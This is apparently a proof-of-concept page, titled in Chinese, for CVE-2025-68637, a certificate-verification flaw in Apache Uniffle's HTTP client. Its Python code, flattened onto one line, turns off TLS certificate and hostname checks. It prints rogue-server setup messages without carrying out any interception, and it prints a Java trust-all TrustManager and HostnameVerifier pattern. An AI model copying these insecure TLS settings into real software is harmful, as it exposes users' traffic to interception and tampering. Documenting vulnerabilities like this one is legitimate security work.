CVE-2025-68637: Apache Uniffle HTTP客户端SSL证书验证缺陷导致中间人攻击

# CVE-2025-68637 PoC - MITM Attack on Uniffle HTTP Client # This PoC demonstrates the SSL verification bypass vulnerability import ssl import http.server import socketserver import threading # Create an insecure SSL context that doesn't verify certificates insecure_context = ssl.create_default_context() insecure_context.check_hostname = False insecure_context.verify_mode = ssl.CERT_NONE # Simulate Uniffle client connecting with disabled SSL verification def exploit_mitm(): """ Attacker performs MITM attack by: 1. Setting up a rogue server with self-signed certificate 2. Intercepting traffic between Uniffle client and Coordinator 3. Capturing/modifying REST API requests and responses """ # Malicious server configuration malicious_server_config = { 'host': '0.0.0.0', 'port': 19999, 'certfile': '/path/to/self-signed-cert.pem', 'keyfile': '/path/to/private-key.pem' } print('[+] MITM Attack Setup Complete') print('[+] Rogue server listening on port 19999') print('[+] Waiting for Uniffle client connections...') return malicious_server_config def demonstrate_vulnerable_code(): """ Vulnerable Uniffle client code pattern: """ vulnerable_code = ''' // Vulnerable configuration in Uniffle HTTP client SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, new TrustManager[]{new TrustAllManager()}, null); // Hostname verification disabled HostnameVerifier allHostsValid = (hostname, session) -> true; HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); ''' print(vulnerable_code) if __name__ == '__main__': exploit_mitm() demonstrate_vulnerable_code()